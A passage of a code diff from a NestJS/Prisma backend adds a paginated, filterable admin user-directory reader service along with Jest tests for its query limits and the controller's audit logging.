expect(args.take).toBe(50);
expect(args.skip).toBe(0);
expect(page.limit).toBe(50);
expect(page.offset).toBe(0);
});
it('caps limit at MAX_LIMIT (200) even when a caller bypasses the DTO', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({ limit: 1000 });
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as { take: number };
expect(args.take).toBe(200);
});
it('emits no WHERE clause when no filter is provided', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({});
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as { where: object };
expect(args.where).toEqual({});
});
});
@@ -0,0 +1,119 @@
import { Injectable } from '@nestjs/common';
import type { Prisma } from '@prisma/client';
import { PrismaService } from 'nestjs-prisma';
import { DEFAULT_LIMIT, MAX_LIMIT, type AdminUsersQueryDto } from './users-query.dto';
/**
* SPA-facing projection of a row from `public.user_directory_entries`.
* Mirrors the Prisma model but exposes ISO-string timestamps so the
* SPA never has to know about `Date` serialisation conventions.
*/
export interface AdminUserDto {
readonly oid: string;
readonly tid: string;
readonly audience: string;
readonly username: string;
readonly displayName: string;
readonly firstSeenAt: string;
readonly lastSeenAt: string;
}
export interface AdminUsersPage {
readonly items: readonly AdminUserDto[];
readonly total: number;
readonly limit: number;
readonly offset: number;
}
/**
* `AdminUsersReader` — query side of the
* `public.user_directory_entries` directory per ADR-0020 §"v1 scope
* — User list (read-only)". Drives the `GET /api/admin/users` admin
* endpoint.
*
* Uses Prisma's typed client directly — unlike `AuditReader`, no
* `SET LOCAL ROLE` is needed because `public.user_directory_entries`
* has no role-based privilege gate (it's a regular business table;
* the trust boundary is the `@RequireAdmin` guard on the controller).
*
* Default order: `last_seen_at DESC` — the "most recently active"
* sort the admin UI most often wants. Falls back to `oid ASC` as
* a tie-breaker so pagination stays deterministic when two rows
* share a timestamp (rare, but possible during a sign-in burst).
*/
@Injectable()
export class AdminUsersReader {
constructor(private readonly prisma: PrismaService) {}
async findUsers(filters: AdminUsersQueryDto): Promise<AdminUsersPage> {
const limit = Math.min(filters.limit ?? DEFAULT_LIMIT, MAX_LIMIT);
const offset = filters.offset ?? 0;
const where = buildWhere(filters);
// Run COUNT + SELECT in a single Prisma transaction so the
// `total` reported to the SPA matches what's on the page —
// a concurrent sign-in landing between the two queries would
// otherwise produce an off-by-one between the count and the
// items.
const [total, items] = await this.prisma.$transaction([
this.prisma.userDirectoryEntry.count({ where }),
this.prisma.userDirectoryEntry.findMany({
where,
orderBy: [{ lastSeenAt: 'desc' }, { oid: 'asc' }],
take: limit,
skip: offset,
}),
]);
return {
items: items.map(toDto),
total,
limit,
offset,
};
}
}
function buildWhere(filters: AdminUsersQueryDto): Prisma.UserDirectoryEntryWhereInput {
const where: Prisma.UserDirectoryEntryWhereInput = {};
if (filters.username !== undefined) {
where.username = { startsWith: filters.username };
}
if (filters.displayName !== undefined) {
// Display names have natural casing variation ("Jane Doe" vs
// "jane doe") so the admin filter matches case-insensitively.
where.displayName = { contains: filters.displayName, mode: 'insensitive' };
}
if (filters.audience !== undefined) {
where.audience = filters.audience;
}
if (filters.lastSeenAtFrom !== undefined || filters.lastSeenAtTo !== undefined) {
where.lastSeenAt = {
...(filters.lastSeenAtFrom !== undefined ? { gte: new Date(filters.lastSeenAtFrom) } : {}),
...(filters.lastSeenAtTo !== undefined ? { lt: new Date(filters.lastSeenAtTo) } : {}),
};
}
return where;
}
interface UserRow {
oid: string;
tid: string;
audience: string;
username: string;
displayName: string;
firstSeenAt: Date;
lastSeenAt: Date;
}
function toDto(row: UserRow): AdminUserDto {
return {
oid: row.oid,
tid: row.tid,
audience: row.audience,
username: row.username,
displayName: row.displayName,
firstSeenAt: row.firstSeenAt.toISOString(),
lastSeenAt: row.lastSeenAt.toISOString(),
};
}
@@ -0,0 +1,91 @@
import type { Request } from 'express';
import type { AuditWriter } from '../audit/audit.service';
import { AdminUsersController } from './admin-users.controller';
import type { AdminUsersReader, AdminUsersPage } from './admin-users-reader.service';
import type { AdminUsersQueryDto } from './users-query.dto';
const PAGE: AdminUsersPage = {
items: [
{
oid: 'user-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'jane.doe@apf.example',
displayName: 'Jane Doe',
firstSeenAt: '2026-05-10T10:00:00.000Z',
lastSeenAt: '2026-05-14T08:30:00.000Z',
},
],
total: 137,
limit: 50,
offset: 0,
};
function makeReq(user?: { oid: string }): Request {
return { session: user !== undefined ? { user } : {} } as unknown as Request;
}
function makeFixture() {
const usersReader = { findUsers: jest.fn().mockResolvedValue(PAGE) };
const auditWriter = { adminUsersQuery: jest.fn().mockResolvedValue(undefined) };
const controller = new AdminUsersController(
usersReader as unknown as AdminUsersReader,
auditWriter as unknown as AuditWriter,
);
return { controller, usersReader, auditWriter };
}
describe('AdminUsersController.list', () => {
it('returns the page from AdminUsersReader', async () => {
const { controller } = makeFixture();
const page = await controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminUsersQueryDto);
expect(page).toBe(PAGE);
});
it('forwards the validated DTO to AdminUsersReader as-is', async () => {
const { controller, usersReader } = makeFixture();
const filters: AdminUsersQueryDto = {
username: 'jane',
audience: 'workforce',
lastSeenAtFrom: '2026-05-01T00:00:00.000Z',
limit: 25,
offset: 0,
};
await controller.list(makeReq({ oid: 'admin-oid' }), filters);
expect(usersReader.findUsers).toHaveBeenCalledWith(filters);
});
it('emits admin.users.query with filters + result count', async () => {
const { controller, auditWriter } = makeFixture();
const filters: AdminUsersQueryDto = { username: 'jane', limit: 50 };
await controller.list(makeReq({ oid: 'admin-oid' }), filters);
expect(auditWriter.adminUsersQuery).toHaveBeenCalledWith({
actor: { oid: 'admin-oid' },
filters: { username: 'jane', limit: 50 },
resultCount: PAGE.items.length,
});
});
it('captures an empty filter object verbatim', async () => {
const { controller, auditWriter } = makeFixture();
await controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminUsersQueryDto);
expect(auditWriter.adminUsersQuery).toHaveBeenCalledWith(
expect.objectContaining({ filters: {} }),
);
});
it('still returns the page when no session.user (defensive — guard normally catches)', async () => {
const { controller, auditWriter } = makeFixture();
const page = await controller.list(makeReq(), {} as AdminUsersQueryDto);
expect(page).toBe(PAGE);
expect(auditWriter.adminUsersQuery).not.toHaveBeenCalled();
});
it('propagates audit write failures (blocking per ADR-0013)', async () => {
const { controller, auditWriter } = makeFixture();
auditWriter.adminUsersQuery.mockRejectedValueOnce(new Error('audit_writer denied'));
await expect(
controller.list(makeReq({ oid: 'admin-oid' }), {} as AdminUsersQueryDto),
).rejects.toThrow('audit_writer denied');
});
});

Some files were not shown because too many files have changed in this diff Show More